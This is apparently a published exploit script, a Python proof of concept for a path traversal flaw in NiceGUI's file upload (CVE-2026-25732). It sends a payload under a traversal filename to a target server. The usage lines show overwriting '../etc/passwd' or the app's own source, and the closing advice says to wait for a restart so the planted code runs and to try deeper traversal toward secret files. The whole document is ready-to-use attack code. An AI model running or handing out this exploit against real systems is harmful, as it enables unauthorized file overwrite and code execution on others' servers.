#!/usr/bin/env python3 # Exploit Title: NiceGUI Path Traversal in FileUpload Leading to Arbitrary File Write # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-06 # Tested on: NiceGUI <= 3.6.1 (Python 3.8–3.12 on Linux/Windows) # CVE: CVE-2026-25732 # # Affected Versions: <= 3.6.1 (fixed in 3.7.0) # # Type: Remote Arbitrary File Write / Path Traversal # Platform: Web Application (Python / NiceGUI) # Author Country: Jordan # Weakness: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) # Attack Vector: Network # Privileges Required: None #!/usr/bin/env python3 """ CVE-2026-25732 — NiceGUI arbitrary file write (path traversal) Exploits unsanitized FileUpload.name when app uses it in save path. Usage: python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py """ import sys import requests from urllib.parse import urljoin from pathlib import Path def exploit(target_url: str, malicious_filename: str, local_payload_path: str | Path): target_url = target_url.rstrip('/') + '/' try: with open(local_payload_path, 'rb') as f: payload_bytes = f.read() except Exception as e: print(f"[-] Cannot read payload file: {e}") sys.exit(1) files = { 'file': (malicious_filename, payload_bytes, 'application/octet-stream') } print(f"[*] Target : {target_url}") print(f"[*] Malicious name : {malicious_filename}") print(f"[*] Payload size : {len(payload_bytes):,} bytes") try: # NiceGUI upload endpoint is usually the page itself (multipart POST to /) r = requests.post( target_url, files=files, timeout=12, allow_redirects=False ) print(f"[+] Response : {r.status_code} {r.reason}") if r.status_code in (200, 201, 204): print("[SUCCESS] Upload accepted — file likely written") elif r.status_code == 413: print("[!] Payload too large (server limit)") elif r.status_code in (400, 403, 422): print("[!] Rejected — target may be patched / not vulnerable / wrong endpoint") else: print("[?] Unexpected response — check manually") print("\nSnippet of response:") print(r.text[:600].replace('\n', ' ').strip() + "..." if len(r.text) > 600 else r.text) except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\nNext steps:") print(" • Check filesystem on target (if you have access)") print(" • If you overwrote app.py / main.py → wait for reload / restart") print(" • Try deeper traversal: '../../some/secret/file' etc.") if __name__ == '__main__': if len(sys.argv) != 4: print(__doc__) sys.exit(1) target = sys.argv[1] dest_filename = sys.argv[2] payload_file = sys.argv[3] exploit(target, dest_filename, payload_file)